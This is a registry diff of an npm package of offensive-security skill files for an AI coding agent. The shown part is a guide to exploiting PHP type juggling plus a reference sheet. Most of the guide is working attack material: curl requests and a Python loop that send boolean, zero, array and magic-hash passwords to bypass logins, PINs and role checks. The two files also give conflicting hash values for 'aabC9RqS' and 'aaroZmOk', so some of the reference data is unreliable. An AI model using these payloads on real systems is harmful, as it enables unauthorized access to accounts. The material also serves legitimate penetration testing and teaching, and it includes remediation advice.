open-sploit 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (81) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +75 -0
  3. package/bin/install.mjs +158 -0
  4. package/package.json +27 -0
  5. package/template/agent/offsec.md +53 -0
  6. package/template/command/target.md +45 -0
  7. package/template/config/opencode.example.json +46 -0
  8. package/template/skills/api-security-testing/SKILL.md +61 -0
  9. package/template/skills/conducting-api-security-testing/LICENSE +201 -0
  10. package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
  11. package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
  12. package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
  13. package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
  14. package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
  15. package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
  16. package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
  17. package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
  18. package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
  19. package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
  20. package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
  21. package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
  22. package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
  23. package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
  24. package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
  25. package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
  26. package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
  27. package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
  28. package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
  29. package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
  30. package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
  31. package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
  32. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
  33. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
  34. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
  35. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
  36. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
  37. package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
  38. package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
  39. package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
  40. package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
  41. package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
  42. package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
  43. package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
  44. package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
  45. package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
  46. package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
  47. package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
  48. package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
  49. package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
  50. package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
  51. package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
  52. package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
  53. package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
  54. package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
  55. package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
  56. package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
  57. package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
  58. package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
  59. package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
  60. package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
  61. package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
  62. package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
  63. package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
  64. package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
  65. package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
  66. package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
  67. package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
  68. package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
  69. package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
  70. package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
  71. package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
  72. package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
  73. package/template/skills/hackerone/SKILL.md +137 -0
  74. package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
  75. package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
  76. package/template/skills/hackerone/tools/__init__.py +0 -0
  77. package/template/skills/hackerone/tools/csv_parser.py +185 -0
  78. package/template/skills/hackerone/tools/report_validator.py +285 -0
  79. package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
  80. package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
  81. package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
@@ -0,0 +1,201 @@
1
+
2
+ Apache License
3
+ Version 2.0, January 2004
4
+ http://www.apache.org/licenses/
5
+
6
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
7
+
8
+ 1. Definitions.
9
+
10
+ "License" shall mean the terms and conditions for use, reproduction,
11
+ and distribution as defined by Sections 1 through 9 of this document.
12
+
13
+ "Licensor" shall mean the copyright owner or entity authorized by
14
+ the copyright owner that is granting the License.
15
+
16
+ "Legal Entity" shall mean the union of the acting entity and all
17
+ other entities that control, are controlled by, or are under common
18
+ control with that entity. For the purposes of this definition,
19
+ "control" means (i) the power, direct or indirect, to cause the
20
+ direction or management of such entity, whether by contract or
21
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
22
+ outstanding shares, or (iii) beneficial ownership of such entity.
23
+
24
+ "You" (or "Your") shall mean an individual or Legal Entity
25
+ exercising permissions granted by this License.
26
+
27
+ "Source" form shall mean the preferred form for making modifications,
28
+ including but not limited to software source code, documentation
29
+ source, and configuration files.
30
+
31
+ "Object" form shall mean any form resulting from mechanical
32
+ transformation or translation of a Source form, including but
33
+ not limited to compiled object code, generated documentation,
34
+ and conversions to other media types.
35
+
36
+ "Work" shall mean the work of authorship, whether in Source or
37
+ Object form, made available under the License, as indicated by a
38
+ copyright notice that is included in or attached to the work
39
+ (an example is provided in the Appendix below).
40
+
41
+ "Derivative Works" shall mean any work, whether in Source or Object
42
+ form, that is based on (or derived from) the Work and for which the
43
+ editorial revisions, annotations, elaborations, or other modifications
44
+ represent, as a whole, an original work of authorship. For the purposes
45
+ of this License, Derivative Works shall not include works that remain
46
+ separable from, or merely link (or bind by name) to the interfaces of,
47
+ the Work and Derivative Works thereof.
48
+
49
+ "Contribution" shall mean any work of authorship, including
50
+ the original version of the Work and any modifications or additions
51
+ to that Work or Derivative Works thereof, that is intentionally
52
+ submitted to the Licensor for inclusion in the Work by the copyright owner
53
+ or by an individual or Legal Entity authorized to submit on behalf of
54
+ the copyright owner. For the purposes of this definition, "submitted"
55
+ means any form of electronic, verbal, or written communication sent
56
+ to the Licensor or its representatives, including but not limited to
57
+ communication on electronic mailing lists, source code control systems,
58
+ and issue tracking systems that are managed by, or on behalf of, the
59
+ Licensor for the purpose of discussing and improving the Work, but
60
+ excluding communication that is conspicuously marked or otherwise
61
+ designated in writing by the copyright owner as "Not a Contribution."
62
+
63
+ "Contributor" shall mean Licensor and any individual or Legal Entity
64
+ on behalf of whom a Contribution has been received by the Licensor and
65
+ subsequently incorporated within the Work.
66
+
67
+ 2. Grant of Copyright License. Subject to the terms and conditions of
68
+ this License, each Contributor hereby grants to You a perpetual,
69
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
70
+ copyright license to reproduce, prepare Derivative Works of,
71
+ publicly display, publicly perform, sublicense, and distribute the
72
+ Work and such Derivative Works in Source or Object form.
73
+
74
+ 3. Grant of Patent License. Subject to the terms and conditions of
75
+ this License, each Contributor hereby grants to You a perpetual,
76
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
77
+ (except as stated in this section) patent license to make, have made,
78
+ use, offer to sell, sell, import, and otherwise transfer the Work,
79
+ where such license applies only to those patent claims licensable
80
+ by such Contributor that are necessarily infringed by their
81
+ Contribution(s) alone or by combination of their Contribution(s)
82
+ with the Work to which such Contribution(s) was submitted. If You
83
+ institute patent litigation against any entity (including a
84
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
85
+ or a Contribution incorporated within the Work constitutes direct
86
+ or contributory patent infringement, then any patent licenses
87
+ granted to You under this License for that Work shall terminate
88
+ as of the date such litigation is filed.
89
+
90
+ 4. Redistribution. You may reproduce and distribute copies of the
91
+ Work or Derivative Works thereof in any medium, with or without
92
+ modifications, and in Source or Object form, provided that You
93
+ meet the following conditions:
94
+
95
+ (a) You must give any other recipients of the Work or
96
+ Derivative Works a copy of this License; and
97
+
98
+ (b) You must cause any modified files to carry prominent notices
99
+ stating that You changed the files; and
100
+
101
+ (c) You must retain, in the Source form of any Derivative Works
102
+ that You distribute, all copyright, patent, trademark, and
103
+ attribution notices from the Source form of the Work,
104
+ excluding those notices that do not pertain to any part of
105
+ the Derivative Works; and
106
+
107
+ (d) If the Work includes a "NOTICE" text file as part of its
108
+ distribution, then any Derivative Works that You distribute must
109
+ include a readable copy of the attribution notices contained
110
+ within such NOTICE file, excluding any notices that do not
111
+ pertain to any part of the Derivative Works, in at least one
112
+ of the following places: within a NOTICE text file distributed
113
+ as part of the Derivative Works; within the Source form or
114
+ documentation, if provided along with the Derivative Works; or,
115
+ within a display generated by the Derivative Works, if and
116
+ wherever such third-party notices normally appear. The contents
117
+ of the NOTICE file are for informational purposes only and
118
+ do not modify the License. You may add Your own attribution
119
+ notices within Derivative Works that You distribute, alongside
120
+ or as an addendum to the NOTICE text from the Work, provided
121
+ that such additional attribution notices cannot be construed
122
+ as modifying the License.
123
+
124
+ You may add Your own copyright statement to Your modifications and
125
+ may provide additional or different license terms and conditions
126
+ for use, reproduction, or distribution of Your modifications, or
127
+ for any such Derivative Works as a whole, provided Your use,
128
+ reproduction, and distribution of the Work otherwise complies with
129
+ the conditions stated in this License.
130
+
131
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
132
+ any Contribution intentionally submitted for inclusion in the Work
133
+ by You to the Licensor shall be under the terms and conditions of
134
+ this License, without any additional terms or conditions.
135
+ Notwithstanding the above, nothing herein shall supersede or modify
136
+ the terms of any separate license agreement you may have executed
137
+ with Licensor regarding such Contributions.
138
+
139
+ 6. Trademarks. This License does not grant permission to use the trade
140
+ names, trademarks, service marks, or product names of the Licensor,
141
+ except as required for reasonable and customary use in describing the
142
+ origin of the Work and reproducing the content of the NOTICE file.
143
+
144
+ 7. Disclaimer of Warranty. Unless required by applicable law or
145
+ agreed to in writing, Licensor provides the Work (and each
146
+ Contributor provides its Contributions) on an "AS IS" BASIS,
147
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
148
+ implied, including, without limitation, any warranties or conditions
149
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
150
+ PARTICULAR PURPOSE. You are solely responsible for determining the
151
+ appropriateness of using or redistributing the Work and assume any
152
+ risks associated with Your exercise of permissions under this License.
153
+
154
+ 8. Limitation of Liability. In no event and under no legal theory,
155
+ whether in tort (including negligence), contract, or otherwise,
156
+ unless required by applicable law (such as deliberate and grossly
157
+ negligent acts) or agreed to in writing, shall any Contributor be
158
+ liable to You for damages, including any direct, indirect, special,
159
+ incidental, or consequential damages of any character arising as a
160
+ result of this License or out of the use or inability to use the
161
+ Work (including but not limited to damages for loss of goodwill,
162
+ work stoppage, computer failure or malfunction, or any and all
163
+ other commercial damages or losses), even if such Contributor
164
+ has been advised of the possibility of such damages.
165
+
166
+ 9. Accepting Warranty or Additional Liability. While redistributing
167
+ the Work or Derivative Works thereof, You may choose to offer,
168
+ and charge a fee for, acceptance of support, warranty, indemnity,
169
+ or other liability obligations and/or rights consistent with this
170
+ License. However, in accepting such obligations, You may act only
171
+ on Your own behalf and on Your sole responsibility, not on behalf
172
+ of any other Contributor, and only if You agree to indemnify,
173
+ defend, and hold each Contributor harmless for any liability
174
+ incurred by, or claims asserted against, such Contributor by reason
175
+ of your accepting any such warranty or additional liability.
176
+
177
+ END OF TERMS AND CONDITIONS
178
+
179
+ APPENDIX: How to apply the Apache License to your work.
180
+
181
+ To apply the Apache License to your work, attach the following
182
+ boilerplate notice, with the fields enclosed by brackets "[]"
183
+ replaced with your own identifying information. (Don't include
184
+ the brackets!) The text should be enclosed in the appropriate
185
+ comment syntax for the file format. Please do not remove or change
186
+ the license header comment from a contributed file except when
187
+ necessary.
188
+
189
+ Copyright 2026 mukul975
190
+
191
+ Licensed under the Apache License, Version 2.0 (the "License");
192
+ you may not use this file except in compliance with the License.
193
+ You may obtain a copy of the License at
194
+
195
+ http://www.apache.org/licenses/LICENSE-2.0
196
+
197
+ Unless required by applicable law or agreed to in writing, software
198
+ distributed under the License is distributed on an "AS IS" BASIS,
199
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200
+ See the License for the specific language governing permissions and
201
+ limitations under the License.
@@ -0,0 +1,272 @@
1
+ ---
2
+ name: exploiting-type-juggling-vulnerabilities
3
+ description: Exploit PHP type juggling vulnerabilities caused by loose comparison
4
+ operators to bypass authentication, circumvent hash verification, and manipulate
5
+ application logic through type coercion attacks.
6
+ domain: cybersecurity
7
+ subdomain: web-application-security
8
+ tags:
9
+ - type-juggling
10
+ - php-security
11
+ - loose-comparison
12
+ - authentication-bypass
13
+ - magic-hash
14
+ - type-coercion
15
+ - web-security
16
+ version: '1.0'
17
+ author: mahipal
18
+ license: Apache-2.0
19
+ nist_csf:
20
+ - PR.PS-01
21
+ - ID.RA-01
22
+ - PR.DS-10
23
+ - DE.CM-01
24
+ mitre_attack:
25
+ - T1190
26
+ - T1059.007
27
+ - T1505.003
28
+ - T1083
29
+ - T1027
30
+ ---
31
+
32
+ # Exploiting Type Juggling Vulnerabilities
33
+
34
+ ## When to Use
35
+ - When testing PHP web applications for authentication bypass vulnerabilities
36
+ - During assessment of password comparison and hash verification logic
37
+ - When testing applications using loose comparison (== instead of ===)
38
+ - During code review of PHP applications handling JSON or deserialized input
39
+ - When evaluating input validation that relies on type-dependent comparison
40
+
41
+ ## Prerequisites
42
+ - Understanding of PHP type system and loose comparison behavior
43
+ - Knowledge of magic hash values (0e prefix) and their scientific notation interpretation
44
+ - Burp Suite for request manipulation and parameter type changing
45
+ - PHP development environment for testing payloads locally
46
+ - Collection of magic hash strings from PayloadsAllTheThings
47
+ - Ability to send JSON or serialized data to control input types
48
+
49
+
50
+ > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
51
+
52
+ ## Workflow
53
+
54
+ ### Step 1 — Identify Type Juggling Candidates
55
+ ```bash
56
+ # Look for PHP applications with:
57
+ # - Login/authentication forms
58
+ # - Password comparison endpoints
59
+ # - API endpoints accepting JSON input
60
+ # - Token/hash verification
61
+ # - Numeric comparison for access control
62
+
63
+ # Check if application accepts JSON input (allows type control)
64
+ curl -X POST http://target.com/api/login \
65
+ -H "Content-Type: application/json" \
66
+ -d '{"username":"admin","password":"test"}'
67
+
68
+ # If application normally uses form data, try JSON
69
+ # Form: username=admin&password=test
70
+ # JSON: {"username":"admin","password":true}
71
+ ```
72
+
73
+ ### Step 2 — Exploit Loose Comparison Authentication Bypass
74
+ ```bash
75
+ # PHP loose comparison: 0 == "password" returns TRUE
76
+ # Send integer 0 as password via JSON
77
+ curl -X POST http://target.com/api/login \
78
+ -H "Content-Type: application/json" \
79
+ -d '{"username":"admin","password":0}'
80
+
81
+ # Send boolean true (TRUE == "any_string" in loose comparison)
82
+ curl -X POST http://target.com/api/login \
83
+ -H "Content-Type: application/json" \
84
+ -d '{"username":"admin","password":true}'
85
+
86
+ # Send empty array (array bypasses strcmp)
87
+ curl -X POST http://target.com/api/login \
88
+ -H "Content-Type: application/json" \
89
+ -d '{"username":"admin","password":[]}'
90
+
91
+ # Send null
92
+ curl -X POST http://target.com/api/login \
93
+ -H "Content-Type: application/json" \
94
+ -d '{"username":"admin","password":null}'
95
+
96
+ # PHP strcmp vulnerability: strcmp(array, string) returns NULL
97
+ # NULL == 0 is TRUE in loose comparison
98
+ curl -X POST http://target.com/login \
99
+ -d "username=admin&password[]=anything"
100
+ ```
101
+
102
+ ### Step 3 — Exploit Magic Hash Collisions
103
+ ```bash
104
+ # PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
105
+ # If hash starts with "0e" followed by only digits, it equals 0 in loose comparison
106
+
107
+ # Magic MD5 hashes (all evaluate to 0 in loose comparison):
108
+ # "240610708" -> md5: 0e462097431906509019562988736854
109
+ # "QNKCDZO" -> md5: 0e830400451993494058024219903391
110
+ # "aabg7XSs" -> md5: 0e087386482136013740957780965295
111
+ # "aabC9RqS" -> md5: 0e041022518165728065344349536299
112
+
113
+ # If application compares md5(user_input) == stored_hash:
114
+ # And stored_hash starts with "0e" and contains only digits after
115
+ curl -X POST http://target.com/login \
116
+ -d "username=admin&password=240610708"
117
+
118
+ # Magic SHA1 hashes:
119
+ # "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
120
+ # "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393
121
+
122
+ # Test with known magic hash values
123
+ for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
124
+ echo -n "Testing: $payload -> "
125
+ curl -s -X POST http://target.com/login \
126
+ -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
127
+ echo
128
+ done
129
+ ```
130
+
131
+ ### Step 4 — Exploit Comparison in Access Control
132
+ ```bash
133
+ # Numeric comparison bypass
134
+ # If: if($user_id == $target_id) { // allow access }
135
+ # "0" == "0e12345" is TRUE (both evaluate to 0)
136
+
137
+ # String to integer conversion
138
+ # "1abc" == 1 is TRUE in PHP (string truncated to integer)
139
+ curl "http://target.com/api/user?id=1abc"
140
+
141
+ # Boolean comparison for role checking
142
+ # if($role == true) grants access to any non-empty string
143
+ curl -X POST http://target.com/api/action \
144
+ -H "Content-Type: application/json" \
145
+ -d '{"action":"delete","role":true}'
146
+
147
+ # Null comparison for optional checks
148
+ # if($token == null) might skip validation
149
+ curl -X POST http://target.com/api/verify \
150
+ -H "Content-Type: application/json" \
151
+ -d '{"token":0}'
152
+ ```
153
+
154
+ ### Step 5 — Exploit via Deserialization Input
155
+ ```bash
156
+ # PHP json_decode() preserves types
157
+ # Attacker controls type via JSON: true, 0, null, []
158
+
159
+ # Bypass token verification
160
+ curl -X POST http://target.com/api/verify-token \
161
+ -H "Content-Type: application/json" \
162
+ -d '{"token":true}'
163
+
164
+ # Bypass numeric PIN verification
165
+ curl -X POST http://target.com/api/verify-pin \
166
+ -H "Content-Type: application/json" \
167
+ -d '{"pin":true}'
168
+
169
+ # Bypass with zero value
170
+ curl -X POST http://target.com/api/check-code \
171
+ -H "Content-Type: application/json" \
172
+ -d '{"code":0}'
173
+
174
+ # PHP unserialize() type juggling
175
+ # Craft serialized object with integer type instead of string
176
+ # s:8:"password"; -> i:0; (string "password" to integer 0)
177
+ ```
178
+
179
+ ### Step 6 — Automated Type Juggling Testing
180
+ ```bash
181
+ # Test all common type juggling payloads against each parameter
182
+ # Using Burp Intruder with type juggling payload list
183
+
184
+ # Payload list for JSON-based testing:
185
+ # true
186
+ # false
187
+ # null
188
+ # 0
189
+ # 1
190
+ # ""
191
+ # []
192
+ # "0"
193
+ # "0e99999"
194
+ # "240610708"
195
+
196
+ # Python automation
197
+ python3 -c "
198
+ import requests
199
+ import json
200
+
201
+ url = 'http://target.com/api/login'
202
+ payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']
203
+
204
+ for p in payloads:
205
+ data = {'username': 'admin', 'password': p}
206
+ r = requests.post(url, json=data)
207
+ print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')
208
+ "
209
+ ```
210
+
211
+ ## Key Concepts
212
+
213
+ | Concept | Description |
214
+ |---------|-------------|
215
+ | Loose Comparison (==) | PHP comparison that performs type coercion before comparing values |
216
+ | Strict Comparison (===) | PHP comparison requiring both value and type to match |
217
+ | Magic Hash | String whose hash starts with "0e" followed by digits, evaluating to 0 in loose comparison |
218
+ | Type Coercion | Automatic conversion between types (string to int, null to 0) during comparison |
219
+ | strcmp Bypass | Passing array to strcmp() returns NULL, which equals 0 in loose comparison |
220
+ | JSON Type Control | Using JSON input to send specific types (boolean, integer, null) to PHP endpoints |
221
+ | Scientific Notation | PHP interprets "0eN" strings as 0 in exponential notation during numeric comparison |
222
+
223
+ ## Tools & Systems
224
+
225
+ | Tool | Purpose |
226
+ |------|---------|
227
+ | Burp Suite | HTTP proxy for changing parameter types in requests |
228
+ | PHP interactive shell | Local testing of type juggling behavior |
229
+ | PayloadsAllTheThings | Curated magic hash and type juggling payload lists |
230
+ | phpggc | PHP generic gadget chains for deserialization exploitation |
231
+ | Custom Python scripts | Automated type juggling payload testing |
232
+ | PHPStan/Psalm | Static analysis tools detecting loose comparisons in code |
233
+
234
+ ## Common Scenarios
235
+
236
+ 1. **Authentication Bypass via Boolean** — Send `"password": true` as JSON to bypass loose comparison password verification
237
+ 2. **Magic Hash Collision** — Use known magic hash input ("240610708") whose MD5 starts with "0e" to match against stored hashes
238
+ 3. **strcmp Array Bypass** — Send `password[]=anything` to make strcmp() return NULL, bypassing password comparison
239
+ 4. **PIN/OTP Bypass** — Send integer 0 as verification code to match against "0e..." hash of the actual code
240
+ 5. **Role Escalation** — Send `"role": true` to match any non-empty role string in loose comparison access checks
241
+
242
+ ## Output Format
243
+
244
+ ```
245
+ ## Type Juggling Vulnerability Report
246
+ - **Target**: http://target.com
247
+ - **Language**: PHP 8.1
248
+ - **Framework**: Laravel
249
+
250
+ ### Findings
251
+ | # | Endpoint | Parameter | Payload | Type | Impact |
252
+ |---|----------|-----------|---------|------|--------|
253
+ | 1 | POST /login | password | true (boolean) | Loose comparison | Auth bypass |
254
+ | 2 | POST /login | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |
255
+ | 3 | POST /login | password[] | array | strcmp NULL return | Auth bypass |
256
+ | 4 | POST /verify | code | 0 (integer) | Numeric comparison | OTP bypass |
257
+
258
+ ### PHP Comparison Table (Relevant)
259
+ | Expression | Result | Reason |
260
+ |-----------|--------|--------|
261
+ | 0 == "password" | TRUE | String cast to 0 |
262
+ | true == "password" | TRUE | Non-empty string is truthy |
263
+ | "0e123" == "0e456" | TRUE | Both are scientific notation = 0 |
264
+ | NULL == 0 | TRUE | NULL cast to 0 |
265
+
266
+ ### Remediation
267
+ - Replace all == with === (strict comparison) in security-critical code
268
+ - Use password_verify() for password comparison instead of direct comparison
269
+ - Use hash_equals() for timing-safe hash comparison
270
+ - Validate input types before comparison operations
271
+ - Enable PHP strict_types declaration in all files
272
+ ```
@@ -0,0 +1,87 @@
1
+ # API Reference: Type Juggling Vulnerabilities
2
+
3
+ ## PHP Loose Comparison (==) vs Strict (===)
4
+
5
+ ### Dangerous Comparisons
6
+ | Expression | Result | Why |
7
+ |-----------|--------|-----|
8
+ | `0 == "string"` | TRUE | String cast to int = 0 |
9
+ | `"0e123" == "0e456"` | TRUE | Both treated as 0 (scientific notation) |
10
+ | `true == "anything"` | TRUE | Non-empty string is truthy |
11
+ | `NULL == ""` | TRUE | Both falsy |
12
+ | `[] == false` | TRUE | Empty array is falsy |
13
+
14
+ ## Magic Hash Strings
15
+
16
+ ### MD5 Hashes Starting with 0e
17
+ | Input | MD5 Hash |
18
+ |-------|----------|
19
+ | 240610708 | 0e462097431906509019562988736854 |
20
+ | QNKCDZO | 0e830400451993494058024219903391 |
21
+ | aabg7XSs | 0e087386482136013740957780965295 |
22
+ | aabC9RqS | 0e041022518165728065344349536617 |
23
+
24
+ ### SHA1 Hashes Starting with 0e
25
+ | Input | SHA1 Hash |
26
+ |-------|-----------|
27
+ | aaroZmOk | 0e17... |
28
+
29
+ ## Authentication Bypass Payloads
30
+
31
+ ### JSON Payloads
32
+ ```json
33
+ {"username": "admin", "password": true}
34
+ {"username": "admin", "password": 0}
35
+ {"username": "admin", "password": []}
36
+ ```
37
+
38
+ ### Why This Works
39
+ ```php
40
+ // Vulnerable PHP code
41
+ if ($password == $stored_hash) { // Loose comparison!
42
+ authenticate();
43
+ }
44
+ // true == "any_string" => TRUE
45
+ // 0 == "non_numeric_string" => TRUE (PHP < 8.0)
46
+ ```
47
+
48
+ ## Token/OTP Bypass
49
+
50
+ ### Loose Comparison on Tokens
51
+ ```php
52
+ // Vulnerable
53
+ if ($_POST['token'] == $valid_token) { ... }
54
+
55
+ // Attack: send integer 0
56
+ // 0 == "a1b2c3..." => TRUE (PHP < 8.0)
57
+ ```
58
+
59
+ ### JSON Type Manipulation
60
+ ```json
61
+ {"otp": 0} // 0 == "123456" in PHP < 8.0
62
+ {"otp": true} // true == "123456" is TRUE
63
+ ```
64
+
65
+ ## Testing with requests
66
+
67
+ ```python
68
+ import requests
69
+ # Boolean bypass
70
+ resp = requests.post(url, json={"password": True})
71
+ # Integer bypass
72
+ resp = requests.post(url, json={"password": 0})
73
+ # Array bypass
74
+ resp = requests.post(url, json={"password": []})
75
+ ```
76
+
77
+ ## PHP 8.0 Changes
78
+ - `0 == "string"` now returns FALSE (fixed)
79
+ - `0 == ""` now returns FALSE
80
+ - Still vulnerable: `"0e123" == "0e456"` returns TRUE
81
+
82
+ ## Remediation
83
+ 1. Always use strict comparison (`===`)
84
+ 2. Validate input types before comparison
85
+ 3. Use `password_verify()` for passwords
86
+ 4. Use `hash_equals()` for timing-safe comparison
87
+ 5. Upgrade to PHP 8.0+